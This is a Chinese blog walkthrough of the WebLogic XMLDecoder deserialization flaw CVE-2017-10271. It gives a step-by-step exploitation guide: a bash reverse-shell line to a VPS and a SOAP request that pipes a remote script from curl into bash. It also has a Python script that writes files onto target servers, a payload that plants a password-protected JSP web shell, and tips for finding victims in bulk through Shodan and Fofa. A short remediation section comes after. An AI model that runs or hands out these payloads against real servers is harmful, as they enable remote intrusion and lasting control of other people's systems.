WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

                                               -----by  backlion

0x01漏洞说明

近日,黑客利用WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x02 攻击说明

攻击者选定要攻击的目标主机后,将首先利用漏洞CVE-2017-3248进行攻击,无论是否成功,都将再利用CVE-2017-10271进行攻击。在每一次的攻击过程中,都是先针对Windows系统,再针对Linux系统。具体攻击流程如下:

1、利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。(shell脚本内容内定义了从远端下载执行watch-smartd挖矿程序控制细节)

2、  利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Windows 中的PowerShell进行样本下载和运行。

3、  利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。

4、  利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Windows 中的 powershell 进行样本下载和恶意代码执行。

5、在此次的攻击事件中,CVE-2017-3248利用不成功,CVE-2017-10271则利用成功,从而导致了服务器被攻击者攻陷,进而在系统日志中留下了痕迹。

0x03分析利用

此次漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析,其解析XML的调用链为

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter

首先看到

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

获取到localHeader1后传递给readHeaderOld方法,其内容为<work:WorkContext>所包裹的数据,然后继续跟进

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法

在此方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,最后通过XMLDecoder来进行反序列化操作。

关于XMLDecoder的反序化问题13年就已经被人发现,近期再次被利用到Weblogic中由此可见JAVA生态圈中的安全问题是多么糟糕。值得一提的是此次漏洞出现了两处CVE编号,因为在Oracle官方在修复CVE-2017-3506所提供的patch只是简单的检查了XML中是否包含了<object>节点,然后将<object>换为<void>即可绕过此补丁。因此在修复过程中用户一定要使用Oracle官方十月份所提供的patch。

0x04 漏洞复现

所需环境

vps服务器:ubuntu16.4 ip:x.x.x.x

所需软件:burpusit

一般情况下weblogic会开放7001以及7002端口

如果访问/wls-wsat/CoordinatorPortType11目录,存在下图则说明或许存在漏洞

http://11.203.x.x/wls-wsat/CoordinatorPortType

首先在你的外网服务器上安装python2.7

sudo apt-get install python2.7

然后在你的外网vps服务器上,利用vim编写一个反弹脚本如a.sh(填写自己的服务器ip和将要用nc监听的端口)

bash -i >& /dev/tcp/vpsip/ncport 0>&1

或者

/bin/bash -i >& /dev/vpsip/ncport   0>&1

用xshell连接服务器,执行(python服务器端口和nc的端口可以自己随便来设置)

python -m SimpleHTTPServer pythonport 和 nc -lvp ncport

执行后就可以 用poc进行测试

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 11.203.x.x

Accept-Encoding: identity

Content-Length: 695

Accept-Language: zh-CN,zh;q=0.8

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

Connection: keep-alive

Cache-Control: max-age=0

Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

  <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

        <java version="1.8.0_131" class="java.beans.XMLDecoder">

          <void class="java.lang.ProcessBuilder">

            <array class="java.lang.String" length="3">

              <void index="0">

<string>/bin/bash</string>

              </void>

              <void index="1">

                <string>-c</string>

              </void>

              <void index="2">

                <string>curl http://x.x.x.x:81/a.sh|bash</string>

              </void>

            </array>

          <void method="start"/></void>

        </java>

      </work:WorkContext>

    </soapenv:Header>

  <soapenv:Body/>

</soapenv:Envelope>

将以上代码复制到burpsuit中的repeater中,注意代码中的Host: 11.203.x.x需要改成你所要攻击的目标对象,并且target的hsot和port也要根据目标地址和端口

其中的

<void index="2">

<string>curl http://x.x.x.x:81/a.sh|bash</string>

</void>

也需要实际改

然后进行执行repeater的go

服务器返回

HTTP/1.1 500 Internal Server Error

Connection: close

Date: Sat, 23 Dec 2017 05:16:01 GMT

Content-Type: text/xml; charset=utf-8

X-Powered-By: Servlet/2.5 JSP/2.1

Content-Length: 262

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><S:Fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope"><faultcode>S:Server</faultcode><faultstring>0</faultstring></S:Fault></S:Body></S:Envelope>

随后你就会在自己的vps上得到一个反弹shell

这样就OK了,如果你要拿到shell的话

直接cd到servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/目录,此为系统默认目录,然后可以在poc上wget一个jsp脚本,然后使用mv命令进行移动到此目录,最重要的你用菜刀连接的话,不是连接的此目录,而是/bea_wls_internal/目录下的脚本文件

附上poc检查脚本:

# coding:utf-8

# !/bin/env python2

import requests

import re

import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning

# 禁用安全请求警告

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 判断weblogic漏洞是否存在的地址,因没有poc,暂时只能判断这个地址

check_addr = '/wls-wsat/CoordinatorPortType11'

shell_addr = '/bea_wls_internal/connect.jsp'

heads = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

        'Accept-Language': 'zh-CN,zh;q=0.8',

        'SOAPAction': "",

        'Content-Type': 'text/xml;charset=UTF-8'

        }

post_str = '''

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  

  <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  

      <java>

        <object class="java.lang.ProcessBuilder">

          <array class="java.lang.String" length="3">

            <void index="0">

              <string>/bin/sh</string>

            </void>  

            <void index="1">

              <string>-c</string>

            </void>  

            <void index="2">

              <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type f -name

              index.html;done|while read ff;do echo vulexist>$(dirname $ff)/connect.jsp;done</string>

            </void>

          </array>  

          <void method="start"/>

        </object>

      </java>

    </work:WorkContext>

  </soapenv:Header>  

  <soapenv:Body/>

</soapenv:Envelope>

'''

def check(url):

    #print("正在检测第%d个url:%s" % (status_num,url))

    vuln_url = url + check_addr

    content = requests.get(vuln_url, verify=False, timeout=10)

    if content.status_code == 200:

        rsp = requests.post(vuln_url, headers=heads, data=post_str.encode(

            "utf-8"), verify=False, timeout=10)

        content = rsp.content

        if re.search(r"java\.lang\.ProcessBuilder", content, re.I):

            # print "getshell success,shell is:%s"%(url+shell_addr)

            string_to_write = "Congratulations! weblogic 远程命令执行漏洞存在:\n" + url + shell_addr + "\n"

            print string_to_write

        else:

            print "失败"

    else:

        print(content.status_code)

# 判断漏洞是否存在

# target = sys.argv[1]

target = "https://x.x.x.com"

print("checking weblogic vul for "+target)

check(target)

# 传入的target是http://www.baidu.com格式(不带端口 )

0x04 漏洞修复建议

1.临时解决方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。

根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重启Weblogic域控制器服务:

DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务

DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

升级过程可参考:

http://blog.csdn.net/qqlifu/article/details/49423839

3.在线检查工具

http://adlab.venustech.com.cn/vulscan

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12

---------------------------------------------------------------------------------------------

经验总结:

linux下的监听的端口可以供多个IP轮换连接,不用再更改监听端口。

一般在当前域下的:

servers/AdminServer/tmp/_WL_internal/下:

该目录下可以上传war包,也可以进入到:

bea_wls9_async_response,bea_wls_internal 和uddiexplorer 等目录下的war目录中上传脚本木马

如:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bk.jps

对应的访问URL地址:

http://x.x.x.x:7001/bea_wls_internal/a.jsp

附上直接写入jsp小马:

POST http://163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Referer: http://www.baidu.com/
Content-Type: text/xml
Host: 163.177.*.*:7001
Content-Length: 521
Expect: 100-continue
Connection: Keep-Alive <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
<string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");} %>]]></string></void><void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
或者测试上传的poc:
POST http://163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Referer: http://www.baidu.com/
Content-Type: text/xml
Host: 163.177.*.*:7001
Content-Length: 521
Expect: 100-continue
Connection: Keep-Alive <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/bk.txt</string><void method="println"><string>thisi is a xmldecoder_vul_test!</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

批量扫描weblgic服务:

1.谷歌搜索关键字“weblogic server administration console inurl:console”

2.利用shodan搜索关键字:port:7001  port:7002

3.利用fofa搜索关键字:weblogic

4.IISPU批量扫描带有标识为“WebLogic Server"

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现的更多相关文章

  1. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  2. weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

    目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  3. 【研究】Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)

    影响范围: Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.1.3.0.0版本 Oracle WebLogic Server ...

  4. java反序列化——XMLDecoder反序列化漏洞

    本文首发于“合天智汇”公众号 作者:Fortheone 前言 最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDeco ...

  5. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  6. Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d ...

  7. 6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

    2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE- ...

  8. JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现

    0x00 漏洞介绍 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情 ...

  9. PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现

    前言 最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手 ...

随机推荐

  1. 我们一起学习WCF 第三篇头消息验证用户身份

    前言:今天我主要写的是关于头消息的一个用处验证用户信息 下面我画一个图,可以先看图 第一步:我们先开始做用户请求代码 首先:创建一个可执行的上下文对象块并定义内部传输的通道 using (Operat ...

  2. DDD实战成绩管理---需求分析

    需求的分析我们采用四色模型.从用户故事中找出MI,然后围绕MI找出其中的role,ppt,des.本次先对两个优先级最高的用户故事进行四色模型建模. 1.用户故事一建模:作为教务处老师,我要建立教学班 ...

  3. ES6中的promise

    Promise 对象用于一个异步操作的最终完成(或失败)及其结果值的表示.简单点说,它就是用于处理异步操作的,异步处理成功了就执行成功的操作,异步处理失败了就捕获错误或者停止后续操作. 它的一般表示形 ...

  4. 【坚持】Selenium+Python学习之从读懂代码开始 DAY1

    学习Selenium+Python已经好几个月了,但越学发现不懂的东西越多. 感觉最大的问题还是在于基础不扎实,决定从头开始,每天坚持读代码,写代码. 相信量变一定能到质变!!! 2018/05/09 ...

  5. CS231n assignment2

    preparation: solve the problem of `from builtins import rang` pip install future  update_rule

  6. Appstate的几种状态及在android 和ios触发

    AppState能告诉你当前应用是在前台还是在后台,或者处于切换应用的状态,并且能在状态变化的时候通知你. AppState 通常在处理推送通知的时候用来决定内容和对应的行为 一: App State ...

  7. ES6的新特性(8)——数组的扩展

    数组的扩展 扩展运算符 含义 扩展运算符(spread)是三个点(...).它好比 rest 参数的逆运算,将一个数组转为用逗号分隔的参数序列. console.log(...[1, 2, 3]) / ...

  8. Web站点性能-宏观手段

    1,增加服务器配置,购买性能更强的服务器,cpu.增加内存.增加硬盘(换更大更好的硬盘): 2,修改优化程序: 1)增加缓存: 2)优化代码,优化sql: 3)分离静态资源和动态页面: 3,对服务承担 ...

  9. VMware12 pro装unlocker207补丁后依然没有apple mac选项,问题解决

    把VMware所有的服务先停止,任务管理器里面的也停止.然后再安装unlocker207补丁就行了.亲测.

  10. 桥接,NAT,Host Only的区别

    桥接,NAT,Host Only的区别   一.Brigde——桥接 :默认使用VMnet0fish批注:只要在虚拟机中将IP设对,即使宿主机的IP是错的,也可以通信.但是如此物理网卡被禁用了,则不能 ...